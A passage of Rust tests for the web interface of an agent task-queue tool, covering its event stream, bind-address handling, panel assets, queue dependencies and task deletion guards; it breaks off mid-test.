21149
21150    #[tokio::test]
21151    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21152        let f = Fixture::start().await;
21153
21154        let mut socket = tokio::net::TcpStream::connect(f.addr)
21155            .await
21156            .expect("connect");
21157        socket
21158            .write_all(
21159                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21160            )
21161            .await
21162            .expect("write request");
21163
21164        // Read until the first event arrives rather than to end of stream: the
21165        // stream is endless by design, which is the point of the route.
21166        let mut seen = String::new();
21167        let mut buf = [0u8; 1024];
21168        while !seen.contains("event: change") {
21169            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21170                .await
21171                .expect("the stream must speak within five seconds")
21172                .expect("read");
21173            assert!(read > 0, "the server closed the change stream: {seen}");
21174            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21175        }
21176
21177        assert!(
21178            seen.to_lowercase()
21179                .contains("content-type: text/event-stream"),
21180            "the browser only reconnects automatically for a real SSE stream: {seen}"
21181        );
21182        let data = seen
21183            .lines()
21184            .find_map(|l| l.strip_prefix("data:"))
21185            .expect("a data line");
21186        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21187        assert!(
21188            payload["queue_rev"].is_u64()
21189                && payload["runs_rev"].is_u64()
21190                && payload["questions_rev"].is_u64()
21191                && payload["talks_rev"].is_u64()
21192                && payload["notifications_rev"].is_u64()
21193                && payload["loop_rev"].is_u64(),
21194            "the client needs one revision per store to know what to refetch, \
21195             and `talks_rev` is the only notification a standing talk gets - a \
21196             phone whose radio slept through a turn learns about it here, as \
21197             does one whose operator started the loop from another device: \
21198             {payload}"
21199        );
21200
21201        // The front end re-polls health on a timer and on wake, and takes the
21202        // revisions from that answer whenever the stream is not up. So health
21203        // has to carry every key the stream carries: a phone on a link that
21204        // will not hold an SSE connection is exactly the phone that must still
21205        // notice a question, and a missing key there is not a 500 but a UI
21206        // that quietly stops updating.
21207        let health = f.get("/api/health").await.json();
21208        for key in [
21209            "queue_rev",
21210            "runs_rev",
21211            "questions_rev",
21212            "talks_rev",
21213            "notifications_rev",
21214            "loop_rev",
21215        ] {
21216            assert!(
21217                health[key].is_u64(),
21218                "health is the change stream's fallback and is missing `{key}`: {health}"
21219            );
21220        }
21221    }
21222
21223    #[tokio::test]
21224    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21225        let f = Fixture::start().await;
21226        let before = f.get("/api/health").await.json()["talks_rev"]
21227            .as_u64()
21228            .expect("talks_rev");
21229
21230        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21231        std::thread::sleep(Duration::from_millis(10));
21232        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21233        on_disk.turns.push(crate::talk::Turn {
21234            sender: None,
21235            breaks: Some(Vec::new()),
21236            messages: Vec::new(),
21237            posted_by: None,
21238            who: crate::talk::Who::Operator,
21239            body: "a new turn".to_owned(),
21240            at: Timestamp::now(),
21241            attachments: Vec::new(),
21242            usage: None,
21243        });
21244        f.talks().put(&mut on_disk).expect("record a turn");
21245
21246        let after = tokio::time::timeout(Duration::from_secs(5), async {
21247            loop {
21248                let revision = f.get("/api/health").await.json()["talks_rev"]
21249                    .as_u64()
21250                    .unwrap();
21251                if revision != before {
21252                    break revision;
21253                }
21254                tokio::time::sleep(Duration::from_millis(50)).await;
21255            }
21256        })
21257        .await
21258        .expect("shared monitor observes external turn");
21259        assert_ne!(
21260            before, after,
21261            "a phone must be able to notice a talk's reply without polling every store"
21262        );
21263    }
21264
21265    #[test]
21266    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21267        // The CLI shows the default in `--help` and parses whatever comes
21268        // back, so the two directions have to agree or `--bind auto` breaks
21269        // the moment someone copies the help text.
21270        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21271            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21272        }
21273        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21274        assert!("everywhere".parse::<Bind>().is_err());
21275    }
21276
21277    #[test]
21278    fn an_explicit_bind_address_is_taken_verbatim() {
21279        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21280
21281        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21282
21283        assert_eq!(addr, asked);
21284        assert!(
21285            warning.is_none(),
21286            "an operator who named an address gets no lecture"
21287        );
21288    }
21289
21290    #[test]
21291    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21292        let (addr, warning) = resolve_bind(&Bind::Auto);
21293
21294        // This has to hold on a CI runner with no `tailscale` and on a dev box
21295        // with one, so the invariant asserted is the one shared by both
21296        // outcomes: the address is either a real tailnet address offered
21297        // without comment, or loopback with an explanation. What must never
21298        // happen is a silent fallback - an operator told "listening on
21299        // 127.0.0.1" with no reason would go looking for a firewall.
21300        match addr {
21301            IpAddr::V4(ip) if is_tailnet(&ip) => {
21302                assert!(warning.is_none(), "a tailnet address needs no warning");
21303            }
21304            other => {
21305                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21306                let warning = warning.expect("a fallback has to explain itself");
21307                assert!(
21308                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21309                    "the warning says what happened and what it costs: {warning}"
21310                );
21311            }
21312        }
21313    }
21314
21315    #[test]
21316    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21317        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21318        // boundary cases are what stop us binding to some other tool's idea of
21319        // an address.
21320        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21321        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21322        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21323        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21324        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21325    }
21326
21327    #[test]
21328    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21329        let ids = vec![
21330            "20260902-140501-aaaa".to_owned(),
21331            "20260902-140502-aabb".to_owned(),
21332        ];
21333
21334        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21335        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21336        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21337
21338        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21339        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21340        assert_eq!(short, "20260902-140502-aabb");
21341    }
21342    #[tokio::test]
21343    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21344        // The prompt tells agents to reference attachments by bare filename.
21345        // A document served at `.../panel` resolves `shot.png` against its own
21346        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21347        // panel written exactly as instructed showed broken images. Caught by
21348        // looking at a real one in a browser, not by reading the code.
21349        let fx = Fixture::start().await;
21350        let id = panel(
21351            &fx,
21352            "<img src=\"shot.png\">",
21353            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21354        );
21355
21356        // The frame's own URL ends in a filename, so its siblings are reachable.
21357        let doc = fx
21358            .get(&format!("/api/questions/{id}/panel/index.html"))
21359            .await;
21360        assert_eq!(doc.status, 200, "{}", doc.body);
21361        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21362
21363        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21364        assert_eq!(sibling.status, 200, "{}", sibling.body);
21365        assert_eq!(sibling.header("content-type"), Some("image/png"));
21366        assert_eq!(
21367            sibling.header("content-security-policy"),
21368            Some(PANEL_CSP),
21369            "the sibling route must carry the same policy as the asset route"
21370        );
21371
21372        // The original spelling keeps working: HEAD on it is how the front end
21373        // decides whether to mount a frame at all.
21374        assert_eq!(
21375            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21376            200
21377        );
21378    }
21379
21380    #[test]
21381    fn delta_stamps_cover_add_update_remove_and_noop() {
21382        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21383        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21384        let delta = diff_stamps(&before, &after, 42);
21385        assert_eq!(delta.base, 42);
21386        assert_eq!(delta.changed, ["b", "c"]);
21387        assert_eq!(delta.removed, ["a"]);
21388        let same = diff_stamps(&after, &after, 43);
21389        assert!(same.changed.is_empty() && same.removed.is_empty());
21390        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21391        let nanos: Stamps = [("b".into(), (2, 20))].into();
21392        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21393        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21394        assert_eq!(stamps_revision(&Stamps::new()), 0);
21395    }
21396
21397    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21398        std::fs::create_dir_all(home.join("runs")).unwrap();
21399        Arc::new(
21400            Ui::new(
21401                Queue::at(home.join("queue")),
21402                Questions::at(home.join("questions")),
21403                Talks::at(home.join("talks")),
21404                home.join("runs"),
21405                home.to_owned(),
21406                PathBuf::from("/repo/magi"),
21407            )
21408            .with_worktrees_root(home.join("wt")),
21409        )
21410    }
21411
21412    #[test]
21413    fn monitor_scan_isolates_store_failures_and_recovers() {
21414        let home = TempDir::new().unwrap();
21415        let ui = delta_test_ui(home.path());
21416        std::fs::create_dir_all(ui.questions.root()).unwrap();
21417        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21418        let before = monitor_scan(&ui, None);
21419        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21420        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21421        std::fs::create_dir_all(ui.talks.root()).unwrap();
21422        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21423        let during = monitor_scan(&ui, Some(before.clone()));
21424        assert_eq!(during.0.2, before.0.2);
21425        assert_ne!(during.0.3, before.0.3);
21426        assert!(during.1[2].contains_key("new"));
21427        std::fs::remove_file(ui.questions.root()).unwrap();
21428        let after = monitor_scan(&ui, Some(during));
21429        assert_eq!(after.0.2, 0);
21430        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21431        // A failed first scan also permits healthy stores to publish.
21432        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21433        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21434    }
21435
21436    #[tokio::test]
21437    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21438        let home = TempDir::new().unwrap();
21439        let ui = delta_test_ui(home.path());
21440        let mut task = Task::new(
21441            "stream task".into(),
21442            "text".into(),
21443            PathBuf::from("/repo"),
21444            Source::Human,
21445        );
21446        ui.queue.put(&mut task).unwrap();
21447        let response = events(State(ui.clone())).await.into_response();
21448        let mut stream = response.into_body().into_data_stream();
21449        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21450            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21451                .await
21452                .unwrap()
21453                .unwrap()
21454                .unwrap();
21455            let text = String::from_utf8(chunk.to_vec()).unwrap();
21456            let data = text
21457                .lines()
21458                .find_map(|line| {
21459                    line.strip_prefix("data: ")
21460                        .or_else(|| line.strip_prefix("data:"))
21461                })
21462                .unwrap();
21463            serde_json::from_str(data).unwrap()
21464        }
21465        let initial = change(&mut stream).await;
21466        assert!(initial.get("queue_delta").is_none());
21467        task.instruction.push_str(" changed");
21468        ui.queue.put(&mut task).unwrap();
21469        let updated = change(&mut stream).await;
21470        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21471        assert_eq!(
21472            updated["queue_delta"]["changed"],
21473            serde_json::json!([task.id])
21474        );
21475        assert_eq!(
21476            updated["queue_rev"].as_u64(),
21477            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21478        );
21479        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21480        let removed = change(&mut stream).await;
21481        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21482        assert_eq!(
21483            removed["queue_delta"]["removed"],
21484            serde_json::json!([task.id])
21485        );
21486    }
21487
21488    #[tokio::test]
21489    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21490        let home = TempDir::new().unwrap();
21491        let ui = delta_test_ui(home.path());
21492        let queue = ui.queue.clone();
21493        let query = |ids: Option<&str>| {
21494            Query(ListQuery {
21495                limit: Some(2),
21496                ids: ids.map(str::to_owned),
21497            })
21498        };
21499        let mut root = Task::new(
21500            "root".into(),
21501            "instruction".into(),
21502            PathBuf::from("/repo"),
21503            Source::Human,
21504        );
21505        queue.put(&mut root).unwrap();
21506        let mut blocked = Task::new(
21507            "blocked".into(),
21508            "instruction".into(),
21509            PathBuf::from("/repo"),
21510            Source::Human,
21511        );
21512        blocked.block(vec![root.id.clone()], None);
21513        queue.put(&mut blocked).unwrap();
21514        let whole =
21515            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21516                .unwrap();
21517        let subset = serde_json::to_value(
21518            queue_list(State(ui.clone()), query(Some(&root.id)))
21519                .await
21520                .unwrap()
21521                .0,
21522        )
21523        .unwrap();
21524        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21525        let blockers = serde_json::to_value(
21526            queue_list(State(ui.clone()), query(Some("")))
21527                .await
21528                .unwrap()
21529                .0,
21530        )
21531        .unwrap();
21532        assert_eq!(blockers.as_array().unwrap().len(), 1);
21533        assert_eq!(blockers[0]["id"], blocked.id);
21534        assert_eq!(
21535            blockers[0]["waits_on"],
21536            whole
21537                .as_array()
21538                .unwrap()
21539                .iter()
21540                .find(|row| row["id"] == blocked.id)
21541                .unwrap()["waits_on"]
21542        );
21543
21544        for id in [
21545            "20260902-140501-aaaa",
21546            "20260902-140502-bbbb",
21547            "20260902-140503-cccc",
21548        ] {
21549            write_run(&ui.runs, id, RunStatus::Merged);
21550        }
21551        let old = serde_json::to_value(
21552            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21553                .await
21554                .unwrap()
21555                .0,
21556        )
21557        .unwrap();
21558        assert!(
21559            old.as_array().unwrap().is_empty(),
21560            "older updates must not enter the window"
21561        );
21562        let newest = serde_json::to_value(
21563            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21564                .await
21565                .unwrap()
21566                .0,
21567        )
21568        .unwrap();
21569        assert_eq!(newest.as_array().unwrap().len(), 1);
21570        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21571
21572        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21573        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21574        let talks = serde_json::to_value(
21575            talks_list(
21576                State(ui.clone()),
21577                query(Some("20260905-000000-d4e5")),
21578                header::HeaderMap::new(),
21579            )
21580            .await
21581            .unwrap()
21582            .0,
21583        )
21584        .unwrap();
21585        assert_eq!(talks.as_array().unwrap().len(), 1);
21586        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21587        assert_eq!(
21588            serde_json::to_value(
21589                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21590                    .await
21591                    .unwrap()
21592                    .0
21593            )
21594            .unwrap(),
21595            serde_json::json!([])
21596        );
21597    }
21598
21599    #[tokio::test]
21600    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21601    async fn delta_payload_benchmark() {
21602        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21603        let ui = delta_test_ui(&home);
21604        let query = |ids: Option<String>| {
21605            Query(ListQuery {
21606                limit: Some(50),
21607                ids,
21608            })
21609        };
21610        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21611        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21612        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21613            .await
21614            .unwrap()
21615            .0;
21616        let queue_id = queue
21617            .iter()
21618            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21619            .unwrap_or(&queue[0])
21620            .task
21621            .id
21622            .clone();
21623        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21624            .await
21625            .unwrap()
21626            .0;
21627        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21628            .await
21629            .unwrap()
21630            .0;
21631        let talks_delta = talks_list(
21632            State(ui.clone()),
21633            query(Some(talks[0].id.clone())),
21634            header::HeaderMap::new(),
21635        )
21636        .await
21637        .unwrap()
21638        .0;
21639        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21640        eprintln!(
21641            "DELTA_PAYLOAD {}",
21642            serde_json::json!({
21643                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21644                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21645                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21646                "counts": [queue.len(), runs.len(), talks.len()],
21647                "blocked": queue_delta.len() - 1,
21648            })
21649        );
21650    }
21651
21652    #[test]
21653    fn runs_revision_moves_when_deleting_an_older_run() {
21654        let temp = TempDir::new().expect("tempdir");
21655        let runs = temp.path().join("runs");
21656        std::fs::create_dir_all(&runs).expect("create runs dir");
21657
21658        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21659
21660        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21661        std::thread::sleep(Duration::from_millis(10));
21662        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21663
21664        let rev_before = runs_revision(&runs);
21665        assert!(rev_before > 0);
21666
21667        let old_dir = runs.join("20260901-100000-old1");
21668        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21669
21670        let rev_after = runs_revision(&runs);
21671        assert_ne!(
21672            rev_before, rev_after,
21673            "deleting an older run must change the revision so other clients see the deletion"
21674        );
21675    }
21676
21677    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21678    /// process-global home entirely — `RunState::save` writes through
21679    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21680    /// (see `tests::home_lock` in the integration suite for why).
21681    fn write_state(runs: &FsPath, state: &RunState) {
21682        let dir = runs.join(&state.id);
21683        std::fs::create_dir_all(&dir).expect("run dir");
21684        std::fs::write(
21685            dir.join("run.json"),
21686            serde_json::to_string_pretty(state).expect("serialize run"),
21687        )
21688        .expect("write run.json");
21689    }
21690
21691    /// A seat starting or finishing is a write to `run.json` like any other,
21692    /// so it moves the same revision the change stream already watches —
21693    /// nothing new for `/api/events` to learn, but the property this feature
21694    /// depends on to reach the phone without a poll.
21695    #[test]
21696    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21697        let temp = TempDir::new().expect("tempdir");
21698        let runs = temp.path().join("runs");
21699        std::fs::create_dir_all(&runs).expect("create runs dir");
21700        let mut state = RunState::new(
21701            PathBuf::from("/repo/magi"),
21702            "main".to_owned(),
21703            "0123456789abcdef".to_owned(),
21704            "task".to_owned(),
21705            Config::default(),
21706        );
21707        state.id = "20260902-100000-c0de".to_owned();
21708        write_state(&runs, &state);
21709
21710        let rev_idle = runs_revision(&runs);
21711        std::thread::sleep(Duration::from_millis(10));
21712        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21713        write_state(&runs, &state);
21714        let rev_started = runs_revision(&runs);
21715        assert_ne!(
21716            rev_idle, rev_started,
21717            "a seat starting must move the revision"
21718        );
21719
21720        std::thread::sleep(Duration::from_millis(10));
21721        state.seat_finished("judge-1");
21722        write_state(&runs, &state);
21723        let rev_finished = runs_revision(&runs);
21724        assert_ne!(
21725            rev_started, rev_finished,
21726            "and clearing it again must move the revision a second time"
21727        );
21728    }
21729
21730    #[tokio::test]
21731    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21732        // `TaskView` flattens `Task`, so this is really asserting that
21733        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21734        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21735        // never touched web.rs, so nothing here caught it if it had.
21736        let fx = Fixture::start().await;
21737        let q = fx.queue();
21738
21739        let mut t = Task::new(
21740            "Task".to_owned(),
21741            "Instruction".to_owned(),
21742            PathBuf::from("/repo"),
21743            Source::Human,
21744        );
21745        t.block(
21746            vec!["20260101-000000-dead".to_owned()],
21747            Some("waiting on Task 1".to_owned()),
21748        );
21749        t.answers.push(crate::queue::AnsweredQuestion {
21750            question: "Which backend?".to_owned(),
21751            answer: "SQLite".to_owned(),
21752        });
21753        q.put(&mut t).expect("put t");
21754
21755        let res = fx.get("/api/queue").await;
21756        assert_eq!(res.status, 200);
21757        let list = res.json();
21758        let view = list
21759            .as_array()
21760            .expect("array")
21761            .iter()
21762            .find(|v| v["id"] == t.id)
21763            .expect("task in list");
21764        assert_eq!(view["status_str"], "blocked");
21765        assert_eq!(
21766            view["blocked_by"],
21767            serde_json::json!(["20260101-000000-dead"])
21768        );
21769        assert_eq!(view["block_reason"], "waiting on Task 1");
21770        assert_eq!(view["answers"][0]["question"], "Which backend?");
21771        assert_eq!(view["answers"][0]["answer"], "SQLite");
21772
21773        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21774        // but never `answers` - that is a settled decision, not state
21775        // describing the current block, so it survives.
21776        let res = fx
21777            .post(&format!("/api/queue/{}/hold", t.short()), None)
21778            .await;
21779        assert_eq!(res.status, 200);
21780        let held = res.json();
21781        assert_eq!(held["status_str"], "held");
21782        assert_eq!(held["blocked_by"], serde_json::json!([]));
21783        assert!(held["block_reason"].is_null());
21784        assert_eq!(held["answers"][0]["answer"], "SQLite");
21785    }
21786
21787    #[tokio::test]
21788    async fn task_recovery_pending_decisions_block_disk_autoresume() {
21789        let fx = Fixture::start().await;
21790        let queue = fx.queue();
21791        let questions = fx.questions();
21792        let mut task = Task::new(
21793            "Disk recovery".into(),
21794            "Inspect".into(),
21795            PathBuf::from("/repo"),
21796            Source::Human,
21797        );
21798        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
21799        queue.put(&mut task).unwrap();
21800        let mut records = Vec::new();
21801        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
21802            let mut q = Question::new(
21803                task.id.clone(),
21804                node.into(),
21805                "triage".into(),
21806                "Resume recovery?".into(),
21807                String::new(),
21808                vec![],
21809            );
21810            q.routed_task = Some(task.id.clone());
21811            questions.put(&mut q).unwrap();
21812            records.push(q);
21813        }
21814        let url = format!("/api/queue/{}", task.id);
21815        let view = fx.get(&url).await.json();
21816        assert_eq!(view["status_str"], "held");
21817        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
21818        assert!(
21819            view["recovery"]
21820                .as_str()
21821                .unwrap()
21822                .contains("Disk recovery alone will not resume")
21823        );
21824        assert!(
21825            view["recovery"]
21826                .as_str()
21827                .unwrap()
21828                .contains("If no recovery decision is pending")
21829        );
21830        for blocker in view["blockers"].as_array().unwrap() {
21831            assert!(blocker["destination"].is_null());
21832            assert!(
21833                blocker["next"]
21834                    .as_str()
21835                    .unwrap()
21836                    .contains("pending delivery")
21837            );
21838        }
21839        for q in &mut records {
21840            q.routed_chat = Some("owning-chat".into());
21841            questions.put(q).unwrap();
21842        }
21843        let view = fx.get(&url).await.json();
21844        for blocker in view["blockers"].as_array().unwrap() {
21845            assert_eq!(
21846                blocker["destination"],
21847                serde_json::json!(["chat", "owning-chat"])
21848            );
21849            assert_eq!(blocker["resolves_itself"], false);
21850        }
21851        // Answered routed decisions can still be awaiting task-chat application.
21852        for q in &mut records {
21853            q.status = ask::QuestionStatus::Answered;
21854            questions.put(q).unwrap();
21855        }
21856        assert!(crate::triage::pending_for(&questions, &task));
21857        let view = fx.get(&url).await.json();
21858        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
21859        assert!(
21860            view["blockers"][0]["next"]
21861                .as_str()
21862                .unwrap()
21863                .contains("not yet applied")
21864        );
21865        for q in &records {
21866            task.mark_triage_applied(&q.id);
21867        }
21868        queue.put(&mut task).unwrap();
21869        assert!(!crate::triage::pending_for(&questions, &task));
21870        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
21871        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
21872    }
21873
21874    #[test]
21875    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
21876        use crate::queue::HoldSource;
21877        let mut task = Task::new(
21878            "Recovery".into(),
21879            "Inspect".into(),
21880            PathBuf::from("/repo"),
21881            Source::Human,
21882        );
21883        assert!(task_recovery(&task).is_none());
21884        task.hold_manual(Some("Operator paused".into()));
21885        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
21886        task.block(vec!["dependency".into()], Some("Decision needed".into()));
21887        let text = task_recovery(&task).unwrap();
21888        assert!(text.contains("restores held"));
21889        assert!(text.contains("clears its dependency references"));
21890        task.hold_source = Some(HoldSource::Machine);
21891        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
21892        let view = TaskView::with_inventory(
21893            task.clone(),
21894            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
21895        );
21896        let json = serde_json::to_value(view).unwrap();
21897        assert_eq!(json["block_reason"], "Decision needed");
21898        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
21899        let recovery = json["recovery"].as_str().unwrap();
21900        assert!(recovery.contains("not current capacity"));
21901        assert!(recovery.contains("triage rechecks"));
21902        assert_eq!(json["blockers"][0]["state"], "missing");
21903        task.blocked_from = Some(TaskStatus::Queued);
21904        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
21905        task.blocked_from = None;
21906        assert!(task_recovery(&task).unwrap().contains("restores held"));
21907    }
21908
21909    #[tokio::test]
21910    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21911        let fx = Fixture::start().await;
21912        let q = fx.queue();
21913        let mk = |title: &str| {
21914            Task::new(
21915                title.to_owned(),
21916                "Instruction".to_owned(),
21917                PathBuf::from("/repo"),
21918                Source::Human,
21919            )
21920        };
21921        let mut root = mk("root");
21922        root.hold_manual(Some("waiting".to_owned()));
21923        q.put(&mut root).unwrap();
21924        let mut mid = mk("mid");
21925        mid.block(vec![root.id.clone()], None);
21926        q.put(&mut mid).unwrap();
21927        let mut leaf = mk("leaf");
21928        leaf.block(vec![mid.id.clone()], None);
21929        q.put(&mut leaf).unwrap();
21930
21931        let list = fx.get("/api/queue").await.json();
21932        let find = |id: &str| {
21933            list.as_array()
21934                .unwrap()
21935                .iter()
21936                .find(|v| v["id"] == id)
21937                .unwrap()
21938                .clone()
21939        };
21940        let leaf_view = find(&leaf.id);
21941        assert_eq!(
21942            leaf_view["waits_on"],
21943            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21944        );
21945        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21946        assert_eq!(
21947            find(&mid.id)["waits_on"],
21948            serde_json::json!([format!("{} (held)", root.short())])
21949        );
21950        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21951    }
21952
21953    #[tokio::test]
21954    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21955        let fx = Fixture::start().await;
21956        let q = fx.queue();
21957
21958        // 1. A queued task with runs attached can be deleted.
21959        let mut t1 = Task::new(
21960            "Task 1".to_owned(),
21961            "Instruction 1".to_owned(),
21962            PathBuf::from("/repo"),
21963            Source::Human,
21964        );
21965        let run_id = "20260901-000000-r111";
21966        t1.runs.push(run_id.to_owned());
21967        write_run(&fx.runs(), run_id, RunStatus::Merged);
21968        q.put(&mut t1).expect("put t1");
21969
21970        // Delete by short id
21971        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21972        assert_eq!(res.status, 204);
21973        assert!(res.body.is_empty(), "204 No Content has no body");
21974        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21975        assert!(
21976            fx.runs().join(run_id).exists(),
21977            "run directory must not be deleted when its task is deleted"
21978        );
21979
21980        // 2. A task a live daemon is running is refused with 409.
21981        let mut t2 = Task::new(
21982            "Task 2".to_owned(),
21983            "Instruction 2".to_owned(),
21984            PathBuf::from("/repo"),
21985            Source::Human,
21986        );
21987        t2.status = TaskStatus::Running;
21988        q.put(&mut t2).expect("put t2");
21989        let mut beat = crate::daemon::Status::new();
21990        beat.current = vec![crate::daemon::Current {
21991            worker: None,
21992            task: t2.id.clone(),
21993            run: "20260901-000000-r222".to_owned(),
21994        }];
21995        beat.updated_at = jiff::Timestamp::now();
21996        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21997            .expect("publish a heartbeat");
21998        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21999        assert_eq!(res.status, 409);
22000        assert!(
22001            res.json()["error"]
22002                .as_str()
22003                .unwrap()
22004                .contains("live daemon")
22005        );
22006        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22007
22008        // 3. The same `running` status and an orphaned lock, with no daemon
22009        // behind either, is a leftover and deletable. Before this the phone
22010        // refused it for good: the status never changes on its own and
22011        // nothing drops a lock whose process is gone.
22012        // The daemon is killed: the file stays, the heartbeat stops.
22013        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22014        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22015            .expect("leave a stale heartbeat");
22016        let mut t3 = Task::new(
22017            "Task 3".to_owned(),
22018            "Instruction 3".to_owned(),
22019            PathBuf::from("/repo"),
22020            Source::Human,
22021        );
22022        t3.status = TaskStatus::Running;
